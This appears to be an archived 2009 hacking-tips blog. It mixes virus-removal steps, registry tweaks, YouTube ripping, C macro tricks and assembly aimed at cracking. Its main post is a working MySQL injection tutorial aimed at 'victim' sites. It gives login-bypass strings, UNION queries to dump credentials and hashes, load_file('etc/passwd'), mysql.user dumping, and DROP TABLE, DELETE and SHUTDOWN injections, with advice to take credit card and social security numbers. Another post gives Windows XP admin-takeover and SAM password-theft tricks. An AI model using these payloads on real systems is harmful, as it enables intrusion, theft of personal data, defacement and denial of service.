HOW TO REMOVE VIRUS FROM AN INFECTED PC

2009-12-23T20:58:00.003+05:30

This free online computer tutorial informs you the tip ( trick ) on how to Remove a Virus from an Infected PC. Even though you have a good anti-virus, it may happen that your PC got infected. Well, in this tutorial, you`ll learn the tip ( trick ) on how to counter-do this.

Follow the steps below to Remove a Virus from an Infected PC:-

What are the SYMPTOMS?

DISABLED TASKMANGER
DISABLED FOLDER OPTIONS
DISABLED REGISTRY EDITING
DISABLED ANTIVIRUS
This is seldom, DISABLED Command Prompt

How can you fix these?

Before you continue, you must make sure that you are using the same applications that I have used in this tutorial, and do the same as I have.

Here is the Steps:-

DISABLE the SYSTEM RESTORE feature in your PC

Click Start
Right-click the My Computer icon, and then click Properties
Click the System Restore tab
Check "Turn off System Restore" or "Turn off System Restore on all drives"
Click Apply
When turning off System Restore, the existing restore points will be deleted. Click Yes to do this
Click OK
Proceed with what you need to do; for example, virus removal. When you have finished, restart the computer and turn on System Restore

Then Download and Install HERE

After the installlation of Task Killer, you will see a new icon in the System Tray. Then open the application, navigate through it and place your cursor on the task. Please, make sure whether the manufacturer is legit or not. If not, then end it as soon as possible.
Then, Download and Install the COMBOFIX.EXE
Also, Download and Install the SDFix.exe
Note:-
If you want to fix your Registry and other problems in your PC ( you need to fix them ), then you should run your PC in SAFEMODE. After installing the SDFix, go to the C:\SDFix folder and run the Run_This.bat file.
[ Optional ] Then, Download and Install CCleaner to clean your Temporary Files
Update your ANTIVIRUS' Database or in the worse case, Re-install or Replace it

Note:-
The SYMPTOMS mentioned above indicate towards a possible infection from Autoit, Sdbot-DIQ or Imaut-A, which is a high risk class of virus.

Generally it spreads through pendrives and infects every local drive on the pc and a file is present "funnyustscandal.avi.exe".

killer.exe
xmss.exe
smss.exe are the processes present in Task Manager ( after severe infection, it won't let you open Task Manager ).

A complete format is recommended.

Funny UST Scandal.exe removal instructions

Remove Funny UST Scandal.exe system processes:

Funny UST Scandal.exe
killer.exe
xmss.exe
smss.exe

Remove Funny UST Scandal.exe files:

Funny UST Scandal.avi.exe

This ends our tutorial showing to you the trick ( tip ) on how to Remove a Virus from an Infected Computer

HOW TO FIND WHO IS INVISIBLE IN YAHOOOO!!!!!

2009-12-23T12:21:00.001+05:30

Here is a simple trick how to find a person who is invisible in yahoo.. just follow the given steps.

Double Click on the userID whose status you want to check.

A message window will open.

Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.

The last step and the most important step. After loading the Doodle IMVironment, there will be two possibilities.
If the user is offline, the Doodle area will show “waiting for your friend to load Doodle” continuously. If the user is online (in invisible mode), after few seconds (it can take up to one minute, depending on connection speed), you will get a blank page.

So the user is online!There is a counter attack of this trick:Go to Messenger>>Preferences>>Messages and now uncheck Enable IMVironments. Now this trick is nullified!

DISABLE RIGHT CLICK ON YOUR COMPUTER

2009-12-23T12:13:00.004+05:30

This is small and simple registry tweak u can perform so as to disable right click on ur desktop.
On run command, type regedit(regedit32 in some) and hit enter to start registry editor. First make a backup of ur registry so that u can be safe if any mistake is done. I would say, make backup of registry before any tweak with it.
Now go to:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now add a DWORD value on the right side and name it as NoViewContextMenu.
Give it the value of 1.
Now exit registry and restart ur pc to see the effect. Isn't that cool?
If u want to enable right click again just delete the DWORD value or change its value to 0 and restart ur computer.
CHEERS!

RIPPING VIDEO OFF YOUTUBE

2009-12-23T12:11:00.001+05:30

Hi everyone,...

so want to download the videos off youtube without using any softwares. Its just easy.

http://www.youtube.com offers numerous videos but you are not allowed to download them. So it is not fair. Need to download the video you just watched???? Keep reading.

When viewing your video, you might have seen the embed part. Copy the whole text from there to any text editor because it makes it easier to read. From there, get the URL which should look like below:

http://www.youtube.com/v/nRJbktbcA_O

Visit that URL and you will see the full screen video. That's cool. Now need to download it. Did you see that the URL got changed... and this time, it looks like below:

http://www.youtube.com/p.swf?video_id=nRJbktbcA_O&eurl=&iurl=http%3A//sjc-static6.sjc.youtube.com/vi/nRJbktbcA_O/2.jpg&t=dfshjhDJkjtJkeisLjdjh....

Now here, change the p.swf into get_video and hit ENTER. The download popup window will appear and you can save the video in flv format. So isn't it easy.

Get some flv player or codec if wmplayer doesn't run it. I love Riva's one for this purpose.

Good luck downloading videos off youtube.

MySQL injection tutorial updated [SQL injection in MySQL servers]

I just thought to share this one again. Few things are updated and hence might give you more information. I am thinking of writing SQL injection cheatsheet later on when I have time.

INTRO!!
In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Now lets begin our walkthrough of SQL injection.
####################################################################################
WHAT IS DATABASE?
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.

##############################################################################
WHAT IS SQL INJECTION?
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..

####################################################################################
BYPASSING LOGINS
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??
Let's see an example, where the username admin with the password sam207 can login to the site. Suppose, the SQL query for this is carried out as below:
SELECT USER from database WHERE username='admin' AND password='good'
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.
In this example, the attacker can enter the following user data in the login form:
username:a or 1=1--
password:blank
So, this would make our query as:
SELECT USER from database WHERE username='a' or 1=1-- AND password=''
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.
So our above query becomes:
SELECT USER from database WHERE username='a' or 1=1

Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.
Few such combinations are:
username:' or 1='1 password:' or 1='1
username:' or '1'='1' password:' or '1'='1'
username:or 1=1 password:or 1=1
and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..
That's all about bypassing logins.

####################################################################################
ACCESSING SECRET DATA
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

####################################################################################
Sub-section 1:
Checking for vulnerability
Suppose, u got a site:
www.site.com/article.php?id=5
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
www.site.com/article.php?id=5'
Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5'' In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.
Also just using ' may not be the sure test; so you may try different things like:
www.site.com/article.php?id=5 union select 1--
If you get error with this, you again come to know that its vulnerable... Just try different things..

####################################################################################
Sub-section 2:
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me error.
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

####################################################################################
Sub-section 3:
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
www.site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..
So for our injection, it becomes:
www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
www.site.com/article.php?id=5 UNION ALL SELECT sam207,null/*
or
www.site.com/article.php?id=5 UNION ALL SELECT null,sam207/*

If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

####################################################################################
Sub-section 4:
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or
www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:
www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*
www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*

####################################################################################
Sub-section 5:
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.
Alternatively to find the column in the specific table, u can do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'
This would display the columns present in the table tbluser. But this may not work always.
Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)
What I do is:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
And this gives me the username and password like below:
admin:9F14974D57DE204E37C11AEAC3EE4940
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(www.openwalls.org), Cain & Able(www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.
Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

####################################################################################
Sub-section 6:
MySQL version 4 injection:
Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...
Anyway, lets go for MySQL version 4 injection...
For example, u would do as below:
www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*
Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.
www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*
The page loaded normally. Now again u have to guess the column names present in the tbluser table.
I do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
//this gave me error so there is no column with this name.
www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
//It loaded the page normally along with the username from the table.
www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
//it errored so again the column pass doesnot exist in the table tbluser.
www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
//the page loaded normally with password hash(or plaintext password).
Now u may do this:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
This gave me:
admin:9F14974D57DE204E37C11AEAC3EE4940
On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.
Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

####################################################################################
MODIFYING SITE CONTENT:
Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.
Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.
First let me list these commands:
UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:
www.site.com/article.php?id=5
Lets say the query is:
SELECT title,data,author FROM article WHERE id=5
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.
So we would do:
www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY ME'/*
or, u could alternatively do:
www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY ME',data='Ur site has zero
security',author='HACKER'/*

By executing first query, we have set the title value as 'Hacked By ME' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:
www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:
www.site.com/article.php?id=5 DELETE title,data,author FROM article/*
or if u want to delete these fields from the id=5, u will do:
www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:
www.site.com/article.php?id=5 DROP TABLE article/*
This would delete table article & all its contents.

Finally, I want to say little about ;
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.
This ; can be kept at the end of our first query so that we can start new query after it.

####################################################################################
SHUTTING DOWN MySQL SERVER:
This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;
So, you would craft a query which would execute the above command...
For example, in my case, I would do the following:
www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

####################################################################################
LOADFILE:
MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..
Do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

But sometimes, you will have to hex the part & do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)
where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..

####################################################################################
MySQL ROOT:
If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..
For this, you will do:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But www.insidepro.com has one to do it..

####################################################################################
MAJOR MySQL COMMANDS:
Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..
All the commands here are copy pasted from the post at www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..

FINALIZING THE INJECTION TUTORIAL:
I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..
www.site.com/article.php?id=5 UNION ALL SELECT ,2/*
Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..
In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...

Some Tips/Tricks to hack /play with XP admin

2009-12-14T12:52:00.001+05:30

Fine, this time I am going to show you some ways you may get admin access to the XP or change password of another administrator. In fact, none of these work in 100% condition but they are worth giving the try and we may have luck sometimes.
1) When you boot the computer and come to the login screen, press "Ctrl+Alt+Delete" and now the box where you enter your login username and password through keyboard comes instead of that icon to click on. Now type "administrator" in the user name field and leave the password box blank. Press Enter. And you might get logged in. It works in many cases as I have seen that many forget[or don't care] to put password for administrator account while installing XP. Give it a try and you may own your friends.

2) Suppose you have administrator power and another friend or your brother has got account of administrator right on same computer. Now you want to change the password of his but you don't know the password. Don't worry. Login to your account and start command prompt. Now type following in the cmd.
net user Username_whose_pass_you_wanna_change *
Eg: net user administrator * //to change the password of user called administrator
then press enter

3) How to add new user/password from command prompt:
net user /ADD This adds new user with specified password
eg: net user sam207 mypass /ADD This adds new user sam207 with password mypass
net localgroup administrator sam207 /ADD This adds sam207 to the administrator group.

4) The C:\windows\repair\ contains backup of password file sam and you may grab it and crack it with l0phtcrack or some other crackers available on the internet.
So that's all. I will be updating this article later on to cover more things.

Change default program installation folder [registry hacks]

2009-12-14T12:48:00.002+05:30

Whenever you install any programs in your computer, the installation will be done in program files folder. But what if you wanted to change this setting. There is a simple registry hack in order to change the default installation folder.
First, start registry editor by typing regedit.exe in run menu. Then, go to the following:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

Now, change the value of ProgramFilesDir to whatever you prefer. Now exit registry and reboot your system to have your default software installation folder changed from program files to that of your choice.
Thanks.

How to maintain a Virus Free Computer

2009-12-12T14:42:00.007+05:30

Is your computer infected with virus? Do you often get mysterious error messages? Well this is a common problem faced by almost all the computer users across the globe. There are many viruses and worms out there that could infect your computer. Some are harmless, but, they do have the capacity to do any number of nasty things, up to and including, erasing all data from your computer. However there are ways to keep viruses away from your PC. Here are the 12 tips to maintain a virus free computer.
1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than gmail, yahoo, hotmail etc.) then it is highly recommended that you use a good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.

2. USB thumb/pen drives is another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it. Instead right-click on it and select the option “open”. This is a safe way to open a pen drive.
3. Be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Firefox).
4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent.

Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.
You can also use a pop-up blocker to automatically block those pop-ups.

5. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install the AVG LinkScanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.
6. Install a good antivirus software and keep it updated. Also perform full system scan periodically. It is highly recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from virues. If PC security is your first option then it is recommended that you go for a shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides realtime security for your PC. Make sure that this feature is turned on.
7. Install a good Antispyware program, that operates against Internet malware and spyware.
8. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.
9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.
10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes in both pieces of software.
11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.
12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since they contribute much in spreading of viruses and other malicious programs.

How to write a C program without a main function?

2009-12-12T13:47:00.001+05:30

How to write a C program without a main function?.

Is it possible to do that.Yes there can be a C program without a main function.Here’s the code of the program without a main function…
#include
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)
int begin()
{
printf(” hello “);
}
Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function.But how,whats the logic behind it? How can we have a C program working without main ?
Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main.But in reality it runs with a hidden main function.
The ‘##‘ operator is called the token pasting or token merging operator.That is we can merge two or more characters with it.

NOTE: A Preprocessor is program which processess the source code before compilation.
Look at the 2nd line of program-
#define decode(s,t,u,m,p,e,d) m##s##u##t
What is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut).The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).
Now look at the third line of the program-
#define begin decode(a,n,i,m,a,t,e)
Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e).According to the macro definition in the previous line the argument must de expanded so that the 4th,1st,3rd & the 2nd characters must be merged.In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.
So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler.That’s it…
The bottom line is there can never exist a C program without a main function.Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exista a hidden main function in the program.Here we are using the proprocessor directive to intelligently replace the word begin” by “main” .In simple words int begin=int main.

WRITE A C PROG WITHOUT main() FUNCTION

2009-12-12T13:41:00.004+05:30

C program (code) without using main() function:

HAVE U EVER IMAGINED TO WRITE A C PROG WITHOUT MAIN FUNCTION ??

I just thought to share this example. Actually, its not really a example without main() function. Rather its a preprocessor directives trick in order to write c program without the line int main(). Or simply to say, it allows us to write C programs without using the main() function.
The code is:

#include
#include

#define kavi main

int kavi(int argc, char *argv[])
{
printf("kavi is Here!");
getch();
return 0;
}

Here I have defined a macro kavi as main so kavi would be replaced by main thus actually making it int main().

Now I would like to show you small modification in it.

#include
#include

#define trickit(k,a,v,i,e,p) k##a##v##i
#define kavi trickit(m,a,i,n,e,p)

int kavi(int argc, char *argv[])
{
printf("kavi is Here!");
getch();
return 0;
}

This code is also actually same as the previous code but I have obscured it a little. You may try it on your own.
I hope this was useful.

LEARN ASSEMBLY LANGUAGE BASICS

2009-12-12T13:37:00.002+05:30

Learn Basic ASM

Hi, I hope this tutorial might help with the basics. ASM is a low level language. It is one step up from machine code and so can give you complete control over the computer.

Begin Lesson

To begin to start learning reverse engineering you MUST know some ASM (aka the computers machine code.)

here's some ASM just to let u know what it looks like

Code:

00xx:00xxxx Call 00403214
00xx:00xxxx Test Eax,Eax
00xx:00xxxx Jne 00043242
00xx:00xxxx Ret
00xx:00xxxx Cmp Ebx,Esi

so what does that mean?

I'm just going to start off by explaining each important ASM instruction and how the CPU works. Inside the CPU is a Register control, this has lots of pre-defined variables inside, here are some of the ones you will most likely see:

Code:

AX/EAX - Accumulator Register used for storing numbers and the output of sums
BX/EBX - Base Register - Usually for storing numbers for calculations
CX/ECX - Counter Register - used in loops , incremented or decremented
IP/EIP - Instruction Pointer - Stores the address (line number) of the next command

Now that's a very brief description of the instructions.

Commands

key: dest = destination
sour = source

*** MOV ***

Code:
MOV dest,sour - This is the most common instruction it simply moves data from one register to another.

e.g.
Code:

MOV AX,56 - (Move 56 into AX)
MOV BX,AX - (Move AX into BX, so BX contains 56 because we had 56 in AX)

*** ADD ***

Code:
ADD op1,op2 - Adds two registers together and puts the result in op1.

e.g
Code:

MOV BX,23
MOV AX,10
ADD BX,AX

Adds 10 to 23
so the answer 33 is left in BX

*** SUB ***

Code:
SUB - Subtract

Code:

MOV BX,23
MOV AX,10
ADD BX,AX
MOV CX,10
SUB BX,CX

See if you can follow that

so BX=33 at the moment then we take CX away from it (which is 10) which leaves the result in BX, so BX would now equal 23.

Important ASM commands for Cracking

ok we must learn this stuff first.
Code:

CALL 200 - This calls another set of instructions at 200 then returns back to the next line after it was called

e.g.

Code:

100: MOV AX,10
102: MOV BX,20
104: CALL 200 ----------->---------------------|
106: MOV DX,20 <-| \\./
108: MOV CX,DX | 200: SUB AX,CX
| 202: MOV CX,02
-------------- < 204: RET
206: blah
208: blah

There don't bother trying to follow the code as I just made it up just take note to the cycle, when it meets the CALL command it jumps to line number provided (200 in this case) and executes the code there until it sees the RET command goes back to the next line in the main program (RET=Return).

JUMPS

In ASM there is lots of different conditions for the jump command, they mostly depend on "flags" flags are Boolean variables in the CPU, for those of you that don't know what a Boolean is it is a variable which has to states 'on or off' in this case '0 or 1'.

Most programs have a Serial check routine that is stored in a call after this call AX is set to 0 or 1 this then has a logical AND performed on it aka TEST AX,AX this sets the ZERO flag to on or off, so its either Z or NZ zero or not zero then a jump with a conditional connected to the zero flag is done, that probably not explained very well but I'll explain it better later when we get to cracking, for now here's some of our important jump commands

Code:
JMP xxxx - Jumps to x no matter what
JNZ xxxx - Jump if the Zero flag is not set
JZ xxxx - Jump if the zero flag is set
JNE xxxx - Jump if not equal
JE xxxx - jump if equal
JG xxxx - jump if greater
JL xxxx - jump if less than
JA xxxx - jump if above
JB xxxx - jump if below
JGE xxxx - jump if greater than or equal to
JBE xxxx - jump if Below than or equal to

so many, but that's not all, just try and remember those, its quite logical really.

STACK

ok, nearly done :)

The stack is an area of memory which is used to put data from registers into the stack for later storage. When placing a register's contents into the stack, its called "Pushing" when taking a value out of the register its called "Popping".

The stack works on LIFO - Last In first Out.

e.g. Code:

MOV AX,1
MOV BX,2
PUSH AX
PUSH BX
POP AX
POP BX

So whats the value of AX,BX now? well lets go through it

Code:
Ax=1
Bx=2

push AX - look at stack table 1

Code:
1)Stack
1

push Bx look at stack table 2

Code:
2)stack
2
1

pop ax - takes the first value out of the stack and puts into ax
which is 2

pop bx - puts 1 into bx because 2 has been taken from the stack so now
1 is on top

So from that you can see that the stack puts every thing on top.

Last Word On ASM

Just 1 more thing to cover.

These are brackets when you see brackets around some think it is referring to that address.

Code:
Mov AX,2
MOV [300],AX - This moves AX to memory area 300

OR

Code:
MOV [0032543],500
CALL [0032543] - this calls the procedure at line 500

Inside Microsoft SQL Server 2005 - T-SQL Programming (2006) ebook

2009-11-13T16:43:00.005+05:30

